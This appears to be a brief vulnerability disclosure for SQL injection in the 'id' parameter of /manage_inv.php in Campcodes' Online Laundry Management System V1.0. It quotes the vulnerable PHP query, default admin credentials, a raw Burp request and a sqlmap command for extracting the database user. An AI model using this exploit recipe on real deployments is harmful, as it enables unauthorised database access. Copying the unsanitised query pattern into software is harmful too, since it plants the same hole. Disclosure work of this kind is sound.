**Online Laundry Management System SQL Injection on /manage\_inv.php**

**Vendor Homepage:：**

https://www.campcodes.com/downloads/online-laundry-management-system-source-code/

**Version:：**V1.0

**Tested on:**

PHP, Apache, MySQL

**Credentials:**

http://192.168.150.131/login.php

admin

admin123

**Affected Page:：**/manage\_inv.php

The potential injection point is located in `manage\_inv.php`. This file directly utilizes the `$id` variables to construct a database query without employing parameterized queries or proper data sanitization measures.

# /manage\_inv.php

if(isset($\_GET['id'])){

$qry = $conn->query("SELECT \* FROM inventory where id=".$\_GET['id']);

foreach($qry->fetch\_assoc() as $k => $v){

$$k = $v;

}

}

**Proof of Concept:**

Burp Request:

GET /manage\_inv.php?id=3 HTTP/1.1

Host: 192.168.150.131

Accept: \*/\*

DNT: 1

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0

Referer: http://192.168.150.131/index.php?page=inventory

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: PHPSESSID=n44uhtjl91qpq3qufkq5go5lvb

Connection: close

**Sqlmap:**

python3 sqlmap.py -r 1.txt --current-user --batch --dbms mysql

**Screenshot:**

